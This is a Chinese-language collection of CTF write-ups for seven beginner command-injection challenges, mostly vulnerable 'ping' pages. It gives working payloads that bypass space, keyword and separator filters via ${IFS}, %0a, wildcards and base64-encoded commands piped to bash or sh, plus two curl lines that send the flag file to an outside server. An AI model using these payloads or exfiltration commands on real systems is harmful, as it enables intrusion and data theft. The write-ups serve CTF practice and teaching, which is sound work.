目录

①[SWPUCTF 2021 新生赛]babyrce

②[LitCTF 2023]Ping

③[0xGame]ping

④[GXYCTF2019]Ping Ping Ping

⑤[qsnctf]PingMe02

⑥[CNSS]Ping

⑦[GeekChallenge2023]ctf_curl


rce篇1 适合新手入门的各种姿势

①[SWPUCTF 2021 新生赛]babyrce

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?> 

用hackbar往cookie里写: admin=1
 


回显新文件,访问


过滤空格,用${IFS}绕过

(这里注意:shell_exec是无回显的,一般单独出现会涉及到dnslog外带,但这里后续echo $a实现了回显,属实良心了)

?url=ls${IFS}/


看到flag文件,拿下

?url=cat${IFS}/flllllaaaaaaggggggg 

②[LitCTF 2023]Ping

试图直接拼接RCE,弹窗发现是前端限制
1.禁一手JavaScript


2.127.0.0.1|ls / 查看到根目录下有flag
3.127.0.0.1|cat /flag 查看根目录下的flag,直接爆出flag

③[0xGame]ping

(写此文时平台关了,所以没有图)

右键源代码可以看到 hint
visit '/api.php?source' for hint
sanitize 函数会 replace ⼀些字符
; ⽤ %0a 绕过 , 空格⽤ ${IFS} 绕过 , / 以及 flag ⽤ base64 编码绕过(这个姿势可以积累下)
然后 preg_match 会匹配⼀个 IP 的正则表达式 , 但是正则前后并没有包含 ^...$ , 因此像 test127.0.0.1test
这种形式也能够通过检测
payload
前端对 IP 的格式做了限制但是并没有什么⽤ , F12 改⼀改或者直接⽤ burpsuite 发包就⾏
ip=127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg==|base64${IFS}-d|bash

④[GXYCTF2019]Ping Ping Ping

开幕雷击,显然rce注入点在url中

随便ping一下可以成功

尝试分号拼接

发现过滤关键词

删去/,成功执行,则后台waf中含/

不过出题人也算人道,flag.php就放在了当前目录

直接cat

发现过滤空格,${IFS}或$IFS$9绕过

发现还有关键词被waf拦截,猜测是flag,尝试用通配符绕过

看来还是过滤了挺多东西的,这种时候不要慌,我们还可以读同目录index.php的源码

(ps:经过尝试发现只有${IFS}$9可以绕过空格)

flag每个字母都被过滤了,bash也被拿下,但好在sh还在,可以base64绕过!

给出最终payload:?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

f12查看源码得到flag

⑤[qsnctf]PingMe02

熟悉开局

随便ping一下

发现空格过滤,${IFS}绕过

发现flag文件,尝试cat

发现cat被过滤,用tac绕过(其实more,head,tail这些也行)

发现flag关键词被过滤,直接通配符绕过

⑥[CNSS]Ping

先审下源码:

n12br()函数作用

ping函数返回值是$output,赋值给了$ping_result

之后echo n12br($ping_result)使原本无回显的exec有了回显

这里有两种姿势

给出payload:

①

ip=127.0.0.1;ls /

ip=127.0.0.1;cat /flag

②(主要一开始没注意到exec这里设计是有回显,所以直接外带了)

ip=127.0.0.1;curl -T /flag YourVps

⑦[GeekChallenge2023]ctf_curl

注释第二行直接告诉了flag的路径,暗示挺明显了,直接curl外带

payload:?addr=-d '@/tmp/Syclover' -X POST "xxxx.ceye.io"

更多推荐